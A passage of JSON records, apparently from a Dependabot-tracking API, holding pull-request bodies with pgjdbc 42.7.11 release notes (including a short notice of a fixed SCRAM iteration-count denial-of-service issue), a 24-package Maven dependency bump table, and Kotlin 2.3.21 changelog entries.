href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/fraunhofer-iem/spha/pull/209","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fraunhofer-iem%2Fspha/issues/209","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/209/packages"}},{"old_version":"42.7.8","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-12T00:37:24.000Z","version_change":"42.7.8 → 42.7.11","issue":{"uuid":"4425293189","node_id":"PR_kwDOC3no787aeeKj","number":428,"state":"closed","title":"chore(deps): bump the update-dependencies group across 1 directory with 24 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-19T02:46:43.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-12T00:37:24.000Z","updated_at":"2026-05-19T02:46:45.000Z","time_to_close":612559,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"update-dependencies","update_count":24,"packages":[{"name":"org.jetbrains.kotlin:kotlin-stdlib","old_version":"2.3.10","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"io.ktor:ktor-server-core","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-apache","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"org.apache.kafka:kafka-clients","old_version":"3.9.1","new_version":"4.2.0"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.26","new_version":"1.5.32","repository_url":"https://github.com/qos-ch/logback"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.20.1","new_version":"2.21.3"},{"name":"com.ibm.mq:com.ibm.mq.jakarta.client","old_version":"9.4.4.0","new_version":"9.4.5.0"},{"name":"com.google.cloud:google-cloud-storage","old_version":"2.62.1","new_version":"2.67.0","repository_url":"https://github.com/googleapis/google-cloud-java"},{"name":"org.postgresql:postgresql","old_version":"42.7.8","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"11.15.0","new_version":"12.5.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"11.15.0","new_version":"12.5.0"},{"name":"org.apache.commons:commons-text","old_version":"1.14.0","new_version":"1.15.0","repository_url":"https://github.com/apache/commons-text"},{"name":"org.junit.jupiter:junit-jupiter-api","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-params","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-engine","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"com.devskiller:jfairy","old_version":"0.6.5","new_version":"0.8.3","repository_url":"https://github.com/Devskiller/jfairy"},{"name":"org.testcontainers:testcontainers-postgresql","old_version":"2.0.3","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"com.diffplug.spotless","old_version":"8.0.0","new_version":"8.4.0"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the update-dependencies group with 24 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.jetbrains.kotlin:kotlin-stdlib](https://github.com/JetBrains/kotlin) | `2.3.10` | `2.3.21` |\n| [io.ktor:ktor-server-core](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-apache](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| org.apache.kafka:kafka-clients | `3.9.1` | `4.2.0` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.26` | `1.5.32` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.20.1` | `2.21.3` |\n| com.ibm.mq:com.ibm.mq.jakarta.client | `9.4.4.0` | `9.4.5.0` |\n| [com.google.cloud:google-cloud-storage](https://github.com/googleapis/google-cloud-java) | `2.62.1` | `2.67.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.8` | `42.7.11` |\n| org.flywaydb:flyway-core | `11.15.0` | `12.5.0` |\n| org.flywaydb:flyway-database-postgresql | `11.15.0` | `12.5.0` |\n| [org.apache.commons:commons-text](https://github.com/apache/commons-text) | `1.14.0` | `1.15.0` |\n| [org.junit.jupiter:junit-jupiter-api](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [org.junit.jupiter:junit-jupiter-params](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [org.junit.jupiter:junit-jupiter-engine](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [com.devskiller:jfairy](https://github.com/Devskiller/jfairy) | `0.6.5` | `0.8.3` |\n| [org.testcontainers:testcontainers-postgresql](https://github.com/testcontainers/testcontainers-java) | `2.0.3` | `2.0.5` |\n| com.diffplug.spotless | `8.0.0` | `8.4.0` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `org.jetbrains.kotlin:kotlin-stdlib` from 2.3.10 to 2.3.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/releases\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eKotlin 2.3.21\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 